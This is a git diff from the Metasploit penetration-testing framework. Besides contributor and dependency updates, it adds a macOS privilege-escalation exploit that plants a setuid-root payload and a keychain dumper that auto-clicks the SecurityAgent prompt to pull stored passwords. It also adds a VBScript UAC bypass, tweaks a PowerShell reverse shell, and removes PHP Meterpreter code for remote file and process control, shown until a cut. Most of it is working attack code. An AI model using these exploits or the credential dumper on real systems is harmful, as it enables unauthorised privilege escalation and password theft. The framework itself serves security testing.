diff --git a/.mailmap b/.mailmap index af8cddbb90..a0301196b8 100644 --- a/.mailmap +++ b/.mailmap @@ -1,4 +1,5 @@ bcook-r7 Brent Cook +bcook-r7 bturner-r7 Brandon Turner ccatalan-r7 Christian Catalan cdoughty-r7 Chris Doughty @@ -11,9 +12,8 @@ farias-r7 Fernando Arias hmoore-r7 HD Moore hmoore-r7 HD Moore jhart-r7 Jon Hart -jlee-r7 James Lee -jlee-r7 James Lee # aka egypt -jlee-r7 egypt # aka egypt +jlee-r7 +jlee-r7 # aka egypt jvazquez-r7 jvazquez-r7 jvazquez-r7 jvazquez-r7 kgray-r7 Kyle Gray @@ -37,9 +37,8 @@ todb-r7 Tod Beardsley todb-r7 Tod Beardsley trosen-r7 Trevor Rosen trosen-r7 Trevor Rosen -wchen-r7 Wei Chen -wchen-r7 sinn3r # aka sinn3r -wchen-r7 sinn3r +wchen-r7 # aka sinn3r +wchen-r7 wvu-r7 William Vu wvu-r7 William Vu wvu-r7 William Vu @@ -73,18 +72,18 @@ efraintorres efraintorres efraintorres et <> fab fab <> # fab at revhosts.net (Fabrice MOURRON) FireFart Christian Mehlmauer +FireFart h0ng10 h0ng10 h0ng10 Hans-Martin Münch -jcran Jonathan Cran -jcran Jonathan Cran -jduck Joshua Drake +jcran +jcran +jcran +jcran +jduck +jduck jgor jgor -joevennix joe -joevennix Joe Vennix -joevennix Joe Vennix -joevennix joev -joevennix jvennix-r7 -joevennix jvennix-r7 +joevennix +joevennix kernelsmith Joshua Smith kernelsmith Joshua Smith kernelsmith kernelsmith @@ -94,18 +93,17 @@ m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 Michael Messner -Meatballs1 Ben Campbell -Meatballs1 Meatballs -Meatballs1 Meatballs1 +Meatballs1 +Meatballs1 mubix Rob Fuller nevdull77 Patrik Karlsson nmonkee nmonkee nullbind nullbind nullbind Scott Sutherland ohdae ohdae -oj OJ -oj OJ Reeves +oj r3dy Royce Davis +r3dy Royce Davis r3dy Royce Davis Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com> rsmudge Raphael Mudge # Aka `butane @@ -116,8 +114,7 @@ skape Matt Miller spoonm Spoon M swtornio Steve Tornio Tasos Laskos Tasos Laskos -timwr Tim -timwr Tim Wright +timwr TomSellers Tom Sellers TrustedSec trustedsec zeroSteiner Spencer McIntyre diff --git a/.travis.yml b/.travis.yml index cbc78a6681..c56870af06 100644 --- a/.travis.yml +++ b/.travis.yml @@ -41,3 +41,6 @@ branches: addons: postgresql: '9.3' + apt: + packages: + - libpcap-dev diff --git a/Gemfile.lock b/Gemfile.lock index 29efb30d4f..34f83095c5 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,33 +1,34 @@ PATH remote: . specs: - metasploit-framework (4.11.0.pre.dev) + metasploit-framework (4.11.4) actionpack (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt jsobfu (~> 0.2.0) json - metasploit-concern (~> 1.0) - metasploit-model (~> 1.0) - metasploit-payloads (= 1.0.4) + metasm (~> 1.0.2) + metasploit-concern (= 1.0.0) + metasploit-model (= 1.0.0) + metasploit-payloads (= 1.0.13) msgpack nokogiri - packetfu (= 1.1.9) + packetfu (= 1.1.11) railties rb-readline-r7 - recog (~> 2.0) + recog (= 2.0.6) robots rubyzip (~> 1.1) sqlite3 tzinfo - metasploit-framework-db (4.11.0.pre.dev) + metasploit-framework-db (4.11.4) activerecord (>= 4.0.9, < 4.1.0) - metasploit-credential (~> 1.0) - metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 1.2) + metasploit-credential (= 1.0.1) + metasploit-framework (= 4.11.4) + metasploit_data_models (= 1.2.5) pg (>= 0.11) - metasploit-framework-pcap (4.11.0.pre.dev) - metasploit-framework (= 4.11.0.pre.dev) + metasploit-framework-pcap (4.11.4) + metasploit-framework (= 4.11.4) network_interface (~> 0.0.1) pcaprub @@ -104,14 +105,15 @@ GEM i18n (0.7.0) jsobfu (0.2.1) rkelly-remix (= 0.0.6) - json (1.8.2) + json (1.8.3) mail (2.6.3) mime-types (>= 1.16, < 3) + metasm (1.0.2) metasploit-concern (1.0.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-credential (1.0.0) + metasploit-credential (1.0.1) metasploit-concern (~> 1.0) metasploit-model (~> 1.0) metasploit_data_models (~> 1.0) @@ -123,7 +125,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.4) + metasploit-payloads (1.0.13) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) @@ -135,18 +137,20 @@ GEM railties (>= 4.0.9, < 4.1.0) recog (~> 2.0) method_source (0.8.2) - mime-types (2.4.3) + mime-types (2.6.1) mini_portile (0.6.2) minitest (4.7.5) - msgpack (0.6.0) - multi_json (1.11.1) + msgpack (0.6.2) + multi_json (1.11.2) multi_test (0.1.2) network_interface (0.0.1) nokogiri (1.6.6.2) mini_portile (~> 0.6.0) - packetfu (1.1.9) + packetfu (1.1.11) + network_interface (~> 0.0) + pcaprub (~> 0.12) pcaprub (0.12.0) - pg (0.18.2) + pg (0.18.3) pg_array_parser (0.0.9) postgres_ext (2.4.1) activerecord (>= 4.0.0) @@ -198,7 +202,7 @@ GEM rspec-core (~> 2.99.0) rspec-expectations (~> 2.99.0) rspec-mocks (~> 2.99.0) - rubyntlm (0.5.0) + rubyntlm (0.5.2) rubyzip (1.1.7) shoulda-matchers (2.8.0) activesupport (>= 3.0.0) diff --git a/data/exploits/CVE-2015-0016/cve-2015-0016.dll b/data/exploits/CVE-2015-0016/cve-2015-0016.dll index aa66055e6d..2d2f1dbba3 100755 Binary files a/data/exploits/CVE-2015-0016/cve-2015-0016.dll and b/data/exploits/CVE-2015-0016/cve-2015-0016.dll differ diff --git a/data/exploits/CVE-2015-2426/reflective_dll.x64.dll b/data/exploits/CVE-2015-2426/reflective_dll.x64.dll new file mode 100755 index 0000000000..e180fabd79 Binary files /dev/null and b/data/exploits/CVE-2015-2426/reflective_dll.x64.dll differ diff --git a/data/exploits/CVE-2015-3113/msf.swf b/data/exploits/CVE-2015-3113/msf.swf new file mode 100755 index 0000000000..ec2bd84de5 Binary files /dev/null and b/data/exploits/CVE-2015-3113/msf.swf differ diff --git a/data/exploits/CVE-2015-3673/exploit.daplug b/data/exploits/CVE-2015-3673/exploit.daplug new file mode 100755 index 0000000000..17d8eacda4 Binary files /dev/null and b/data/exploits/CVE-2015-3673/exploit.daplug differ diff --git a/data/exploits/CVE-2015-3673/exploit.m b/data/exploits/CVE-2015-3673/exploit.m new file mode 100644 index 0000000000..3cafbfc591 --- /dev/null +++ b/data/exploits/CVE-2015-3673/exploit.m @@ -0,0 +1,33 @@ +// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa + +#include +#include +#include +#include +#include + +#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks" +#define FWK_BASE "/System/Library/Frameworks" + +void __attribute__ ((constructor)) test(void) +{ + void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW); + + if (p != NULL) + { + id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient)); + objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil); + id tool = objc_msgSend(sharedClient, @selector(remoteProxy)); + + NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"]; + NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"]; + NSData* data = [NSData dataWithContentsOfFile:inpath]; + + objc_msgSend(tool, @selector(createFileWithContents:path:attributes:), + data, + outpath, + @{ NSFilePosixPermissions : @04777 }); + } + + exit(1); +} diff --git a/data/exploits/CVE-2015-5119/msf.swf b/data/exploits/CVE-2015-5119/msf.swf new file mode 100755 index 0000000000..c1a78dee0c Binary files /dev/null and b/data/exploits/CVE-2015-5119/msf.swf differ diff --git a/data/exploits/CVE-2015-5122/msf.swf b/data/exploits/CVE-2015-5122/msf.swf new file mode 100755 index 0000000000..08b95c4261 Binary files /dev/null and b/data/exploits/CVE-2015-5122/msf.swf differ diff --git a/data/exploits/osx/dump_keychain/Makefile b/data/exploits/osx/dump_keychain/Makefile new file mode 100644 index 0000000000..95607b40c7 --- /dev/null +++ b/data/exploits/osx/dump_keychain/Makefile @@ -0,0 +1,2 @@ +all: + gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump \ No newline at end of file diff --git a/data/exploits/osx/dump_keychain/dump b/data/exploits/osx/dump_keychain/dump new file mode 100755 index 0000000000..3396ab775b Binary files /dev/null and b/data/exploits/osx/dump_keychain/dump differ diff --git a/data/exploits/osx/dump_keychain/dump.m b/data/exploits/osx/dump_keychain/dump.m new file mode 100644 index 0000000000..e18d915868 --- /dev/null +++ b/data/exploits/osx/dump_keychain/dump.m @@ -0,0 +1,161 @@ +// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump + +#import +#import +#import +#include +#include +#include + +#define TIMEOUT 3 + +void click(float x, float y) { + + CGEventRef move1 = CGEventCreateMouseEvent( + NULL, kCGEventMouseMoved, + CGPointMake(x, y), + kCGMouseButtonLeft // ignored + ); + CGEventRef click1_down = CGEventCreateMouseEvent( + NULL, kCGEventLeftMouseDown, + CGPointMake(x, y), + kCGMouseButtonLeft + ); + CGEventRef click1_up = CGEventCreateMouseEvent( + NULL, kCGEventLeftMouseUp, + CGPointMake(x, y), + kCGMouseButtonLeft + ); + + CGEventPost(kCGHIDEventTap, move1); + CGEventPost(kCGHIDEventTap, click1_down); + CGEventPost(kCGHIDEventTap, click1_up); + + // Release the events + CFRelease(move1); + CFRelease(click1_up); + CFRelease(click1_down); +} + +void parse_windows(int offx, int offy) { + CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID); + for (NSMutableDictionary* entry in (NSArray*)windowList) + { + CGRect rect; + NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName]; + if ([ownerName isEqualToString: @"SecurityAgent"]) { + CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds]; + CGRectMakeWithDictionaryRepresentation(bounds, &rect); + float spotx = rect.origin.x + 385 + offx; + float spoty = rect.origin.y + rect.size.height - 25 + offy; + click(spotx, spoty); + } + + } + CFRelease(windowList); +} + +void poll_ui() { + while(1) { + sleep(0.0001); + parse_windows(0, 0); + } +} + +id tQuery = NULL; +CFTypeRef result = NULL; + +void prompt() { + SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result); +} + +void dump(NSArray *refs) { + NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs + options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string + error: NULL]; + [jsonData writeToFile: @"/dev/stdout" atomically: NO]; +} + +int main() { + pthread_t thread_prompt, thread_click; + NSArray *secItemClasses = [NSArray arrayWithObjects: + (__bridge id)kSecClassGenericPassword, + (__bridge id)kSecClassInternetPassword, + nil]; + NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys: + (__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit, + (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes, + (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef, + nil]; + NSMutableArray *refs = [NSMutableArray new]; + for (id secItemClass in secItemClasses) { + [query setObject:secItemClass forKey:(__bridge id)kSecClass]; + + CFTypeRef result1 = NULL; + SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1); + NSArray *data = (__bridge NSArray*)result1; + if (data) { + for (NSDictionary *item in data) { + if (!item) continue; + NSMutableDictionary *newItem = [NSMutableDictionary new]; + for (NSString* key in item) { + [newItem setObject:[[item objectForKey: key] description] forKey: key]; + } + [newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"]; + [refs addObject: newItem]; + } + if (result1 != NULL) CFRelease(result1); + } + } + + NSMutableArray *all = [NSMutableArray new]; + for (id ref in refs) { + tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys: + (__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef, + (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData, + nil]; + for (id secItemClass in secItemClasses) { + [tQuery setObject:secItemClass forKey:(__bridge id)kSecClass]; + + result = NULL; + pthread_create(&thread_click, NULL, (void*)poll_ui, NULL); + pthread_create(&thread_prompt, NULL, (void*)prompt, NULL); + + time_t end = time(NULL) + TIMEOUT; + int found = 0; + while(time(NULL) < end) { + if (result != NULL) { + found = 1; + break; + } + sleep(0.1); + } + + pthread_cancel(thread_click); + pthread_cancel(thread_prompt); + + [ref removeObjectForKey: @"v_Ref"]; + + // we didnt find anything in TIMEOUT seconds. this can happen if the keychain + // is locked + if (!found) { + parse_windows(-80, 0); // click cancel + dump(all); // get out now + return 0; + } + + NSString *pass = @"(null)"; + if (result && [result bytes]) { + pass = [NSString stringWithUTF8String:[result bytes]]; + if (!pass) pass = @"(null)"; + } else { + pass = @"(null)"; + } + [ref setObject:pass forKey: @"Private"]; + [all addObject: ref]; + } + } + + dump(all); + return 0; +} diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 index b6fd7bfda3..8792bb2abc 100644 --- a/data/exploits/powershell/powerfun.ps1 +++ b/data/exploits/powershell/powerfun.ps1 @@ -36,7 +36,7 @@ function powerfun $stream = $sslStream } - [byte[]]$bytes = 0..255|%{0} + [byte[]]$bytes = 0..20000|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) diff --git a/data/exploits/scripthost_uac_bypass/bypass.vbs b/data/exploits/scripthost_uac_bypass/bypass.vbs new file mode 100644 index 0000000000..0ba2444d13 --- /dev/null +++ b/data/exploits/scripthost_uac_bypass/bypass.vbs @@ -0,0 +1,62 @@ +Option Explicit + +Dim oWs: Set oWs = CreateObject("WScript.Shell") +Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") +Dim HOST_MANIFEST: HOST_MANIFEST = _ + "" & vbCrLf & _ + "" & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " true" & vbCrLf & _ + " true" & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + "" + + +Sub Copy(ByVal sSource, ByVal sTarget) + Dim sTempFile: sTempFile = GetTempFilename() + oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True + oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True + oFso.DeleteFile sTempFile +End Sub + +Sub Elevate() + Const WINDIR = "%windir%" + Dim sPath: sPath = Left(WScript.ScriptFullName, _ + InStrRev(WScript.ScriptFullName, "\")) + Dim sHost: sHost = Right(WScript.FullName, 11) + Dim sManifest: sManifest = sPath & sHost & ".manifest" + Dim oStream: Set oStream = oFso.CreateTextFile(sManifest) + oStream.Write HOST_MANIFEST + oStream.Close + Copy sManifest, WINDIR + Copy WScript.FullName, WINDIR + oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART" + oFso.DeleteFile sManifest +End Sub + +Function GetTempFilename() + Const vbTemporaryFolder = 2 + Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder) + GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName()) +End Function + +Sub RunAsAdmin() + oWs.Run "COMMAND" +End Sub + +If WScript.Arguments.Named.Exists("RESTART") Then + RunAsAdmin +Else + Elevate +End If diff --git a/data/exploits/tpwn/tpwn b/data/exploits/tpwn/tpwn new file mode 100755 index 0000000000..dabce3a9ec Binary files /dev/null and b/data/exploits/tpwn/tpwn differ diff --git a/data/flash_detector/flashdetector.swf b/data/flash_detector/flashdetector.swf new file mode 100755 index 0000000000..30293d10dc Binary files /dev/null and b/data/flash_detector/flashdetector.swf differ diff --git a/data/js/detect/os.js b/data/js/detect/os.js index b1ad75db2b..a93197e53b 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -973,6 +973,12 @@ os_detect.getVersion = function(){ os_name = "Windows 8"; os_sp = "SP0"; break; + case "1100": + // IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview + ua_version = "11.0"; + os_name = "Windows 10"; + os_sp = "SP0"; + break; default: unknown_fingerprint = version; break; diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php deleted file mode 100755 index e3f72ee0d5..0000000000 --- a/data/meterpreter/ext_server_stdapi.php +++ /dev/null @@ -1,1116 +0,0 @@ -#= 4.0.0. - * @author soywiz at php dot net - * @since 17-Jul-2006 10:12 - */ -if (!function_exists('fnmatch')) { -function fnmatch($pattern, $string) { - return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string); -} -} - -/** - * Prepends $string to each element of $array - * If $deep is true, will indeed also apply to sub-arrays - * @author BigueNique AT yahoo DOT ca - * @since 080324 - */ -if (!function_exists('array_prepend')) { -function array_prepend($array, $string, $deep=false) { - if(empty($array)||empty($string)) return $array; - foreach($array as $key => $element) - if(is_array($element)) - if($deep) - $array[$key] = array_prepend($element,$string,$deep); - else - trigger_error('array_prepend: array element',E_USER_WARNING); - else - $array[$key] = $string.$element; - return $array; - -} -} - - -## END Search Helpers - -if (!function_exists('cononicalize_path')) { -function cononicalize_path($path) { - $path = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $path); - return $path; -} -} - - -# -# Need to nail down what this should actually do. Ruby's File.expand_path is -# for cononicalizing a path (e.g., removing /./ and ../) and expanding "~" into -# a path to the current user's homedir. In contrast, Meterpreter has -# traditionally used this to get environment variables from the server. -# -if (!function_exists('stdapi_fs_file_expand_path')) { -register_command('stdapi_fs_file_expand_path'); -function stdapi_fs_file_expand_path($req, &$pkt) { - my_print("doing expand_path"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $env = $path_tlv['value']; - my_print("Request for: '$env'"); - if (!is_windows()) { - # Handle some basic windows-isms when we can - switch ($env) { - case "%COMSPEC%": - $path = "/bin/sh"; - break; - case "%TEMP%": - case "%TMP%": - $path = "/tmp"; - break; - default: - # Don't know what the user meant, just try it as an environment - # variable and hope for the best. - $path = getenv($env); - } - } else { - $path = getenv($env); - if (empty($path) and ($env == "%COMSPEC%")) { - # hope it's in the path - $path = "cmd.exe"; - } - } - my_print("Returning with an answer of: '$path'"); - - if ($path) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path)); - return ERROR_SUCCESS; - } - return ERROR_FAILURE; -} -} - -if (!function_exists('stdapi_fs_delete_dir')) { -register_command('stdapi_fs_delete_dir'); -function stdapi_fs_delete_dir($req, &$pkt) { - my_print("doing rmdir"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $ret = @rmdir(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -if (!function_exists('stdapi_fs_mkdir')) { -register_command('stdapi_fs_mkdir'); -function stdapi_fs_mkdir($req, &$pkt) { - my_print("doing mkdir"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $ret = @mkdir(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -# works -if (!function_exists('stdapi_fs_chdir')) { -register_command('stdapi_fs_chdir'); -function stdapi_fs_chdir($req, &$pkt) { - my_print("doing chdir"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $ret = @chdir(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -# works -if (!function_exists('stdapi_fs_delete')) { -register_command('stdapi_fs_delete'); -function stdapi_fs_delete($req, &$pkt) { - my_print("doing delete"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME); - $ret = @unlink(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -# works -if (!function_exists('stdapi_fs_getwd')) { -register_command('stdapi_fs_getwd'); -function stdapi_fs_getwd($req, &$pkt) { - my_print("doing pwd"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd())); - return ERROR_SUCCESS; -} -} - -# works partially, need to get the path argument to mean the same thing as in -# windows -if (!function_exists('stdapi_fs_ls')) { -register_command('stdapi_fs_ls'); -function stdapi_fs_ls($req, &$pkt) { - my_print("doing ls"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $path = cononicalize_path($path_tlv['value']); - $dir_handle = @opendir($path); - - if ($dir_handle) { - while ($file = readdir($dir_handle)) { - if ($file != "." && $file != "..") { - #my_print("Adding file $file"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file)); - $st = stat($path . DIRECTORY_SEPARATOR . $file); - $st_buf = ""; - $st_buf .= pack("V", $st['dev']); - $st_buf .= pack("v", $st['ino']); - $st_buf .= pack("v", $st['mode']); - $st_buf .= pack("v", $st['nlink']); - $st_buf .= pack("v", $st['uid']); - $st_buf .= pack("v", $st['gid']); - $st_buf .= pack("v", 0); - $st_buf .= pack("V", $st['rdev']); - $st_buf .= pack("V", $st['size']); - $st_buf .= pack("V", $st['atime']); - $st_buf .= pack("V", $st['mtime']); - $st_buf .= pack("V", $st['ctime']); - $st_buf .= pack("V", $st['blksize']); - $st_buf .= pack("V", $st['blocks']); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); - } - } - closedir($dir_handle); - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_fs_separator')) { -register_command('stdapi_fs_separator'); -function stdapi_fs_separator($req, &$pkt) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR)); - return ERROR_SUCCESS; -} -} - -if (!function_exists('stdapi_fs_stat')) { -register_command('stdapi_fs_stat'); -function stdapi_fs_stat($req, &$pkt) { - my_print("doing stat"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - $st = stat($path); - if ($st) { - $st_buf = ""; - $st_buf .= pack("V", $st['dev']); - $st_buf .= pack("v", $st['ino']); - $st_buf .= pack("v", $st['mode']); - $st_buf .= pack("v", $st['nlink']); - $st_buf .= pack("v", $st['uid']); - $st_buf .= pack("v", $st['gid']); - $st_buf .= pack("v", 0); - $st_buf .= pack("V", $st['rdev']); - $st_buf .= pack("V", $st['size']); - $st_buf .= pack("V", $st['atime']); - $st_buf .= pack("V", $st['mtime']); - $st_buf .= pack("V", $st['ctime']); - $st_buf .= pack("V", $st['blksize']); - $st_buf .= pack("V", $st['blocks']); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -# works -if (!function_exists('stdapi_fs_delete_file')) { -register_command('stdapi_fs_delete_file'); -function stdapi_fs_delete_file($req, &$pkt) { - my_print("doing delete"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - if ($path && is_file($path)) { - $worked = @unlink($path); - return ($worked ? ERROR_SUCCESS : ERROR_FAILURE); - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_fs_search')) { -register_command('stdapi_fs_search'); -function stdapi_fs_search($req, &$pkt) { - my_print("doing search"); - - $root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT); - $root = cononicalize_path($root_tlv['value']); - $glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB); - $glob = cononicalize_path($glob_tlv['value']); - $recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE); - $recurse = $recurse_tlv['value']; - - if (!$root) { - $root = '.'; - } - - my_print("glob: $glob, root: $root, recurse: $recurse"); - $flags = GLOB_PATH; - if ($recurse) { - $flags |= GLOB_RECURSE; - } - $files = safe_glob($root ."/". $glob, $flags); - if ($files and is_array($files)) { - dump_array($files); - foreach ($files as $file) { - $file_tlvs = ""; - $s = stat($file); - $p = dirname($file); - $f = basename($file); - $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_PATH, $p)); - $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_NAME, $f)); - $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_SIZE, $s['size'])); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_SEARCH_RESULTS, $file_tlvs)); - } - } - return ERROR_SUCCESS; -} -} - - -if (!function_exists('stdapi_fs_md5')) { -register_command("stdapi_fs_md5"); -function stdapi_fs_md5($req, &$pkt) { - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - if (is_callable("md5_file")) { - $md5 = md5_file($path); - } else { - $md5 = md5(file_get_contents($path)); - } - $md5 = pack("H*", $md5); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $md5)); - return ERROR_SUCCESS; -} -} - - -if (!function_exists('stdapi_fs_sha1')) { -register_command("stdapi_fs_sha1"); -function stdapi_fs_sha1($req, &$pkt) { - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - if (is_callable("sha1_file")) { - $sha1 = sha1_file($path); - } else { - $sha1 = sha1(file_get_contents($path)); - } - $sha1 = pack("H*", $sha1); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $sha1)); - return ERROR_SUCCESS; -} -} - - -# Sys Config - -# works -if (!function_exists('stdapi_sys_config_getuid')) { -register_command('stdapi_sys_config_getuid'); -function stdapi_sys_config_getuid($req, &$pkt) { - my_print("doing getuid"); - if (is_callable('posix_getuid')) { - $uid = posix_getuid(); - $pwinfo = posix_getpwuid($uid); - $user = $pwinfo['name'] . " ($uid)"; - } else { - # The posix functions aren't available, this is probably windows. Use - # the functions for getting user name and uid based on file ownership - # instead. - $user = get_current_user() . " (" . getmyuid() . ")"; - } - packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user)); - return ERROR_SUCCESS; -} -} - -if (!function_exists('stdapi_sys_config_getenv')) { -register_command('stdapi_sys_config_getenv'); -function stdapi_sys_config_getenv($req, &$pkt) { - my_print("doing getenv"); - - $variable_tlvs = packet_get_all_tlvs($req, TLV_TYPE_ENV_VARIABLE); - - # If we decide some day to have sys.config.getenv return all env - # vars when given an empty search list, this is one way to do it. - #if (empty($variable_tlvs)) { - # # We don't have a var to look up, return all of 'em - # $variables = array_keys($_SERVER); - #} else { - # $variables = array(); - # foreach ($variable_tlvs as $tlv) { - # array_push($variables, $tlv['value']); - # } - #} - - foreach ($variable_tlvs as $name) { - $canonical_name = str_replace(array("$","%"), "", $name['value']); - $env = getenv($canonical_name); - if ($env !== FALSE) { - $grp = ""; - $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VARIABLE, $canonical_name)); - $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VALUE, $env)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENV_GROUP, $grp)); - } - } - - return ERROR_SUCCESS; -} -} - - -# Unimplemented becuase it's unimplementable -#if (!function_exists('stdapi_sys_config_rev2self')) { -#register_command('stdapi_sys_config_rev2self'); -#function stdapi_sys_config_rev2self($req, &$pkt) { -# my_print("doing rev2self"); -# return ERROR_FAILURE; -#} -#} - -# works -if (!function_exists('stdapi_sys_config_sysinfo')) { -register_command('stdapi_sys_config_sysinfo'); -function stdapi_sys_config_sysinfo($req, &$pkt) { - my_print("doing sysinfo"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n"))); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname())); - return ERROR_SUCCESS; -} -} - -# Global list of processes so we know what to kill when a channel gets closed -$GLOBALS['processes'] = array(); - -if (!function_exists('stdapi_sys_process_execute')) { -register_command('stdapi_sys_process_execute'); -function stdapi_sys_process_execute($req, &$pkt) { - global $channel_process_map, $processes; - - my_print("doing execute"); - $cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH); - $args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS); - $flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS); - - $cmd = $cmd_tlv['value']; - $args = $args_tlv['value']; - $flags = $flags_tlv['value']; - - # If there was no command specified, well, a user sending an empty command - # deserves failure. - my_print("Cmd: $cmd $args"); - if (0 > strlen($cmd)) { - return ERROR_FAILURE; - } - $real_cmd = $cmd ." ". $args; - - $pipe_desc = array(array('pipe','r'), 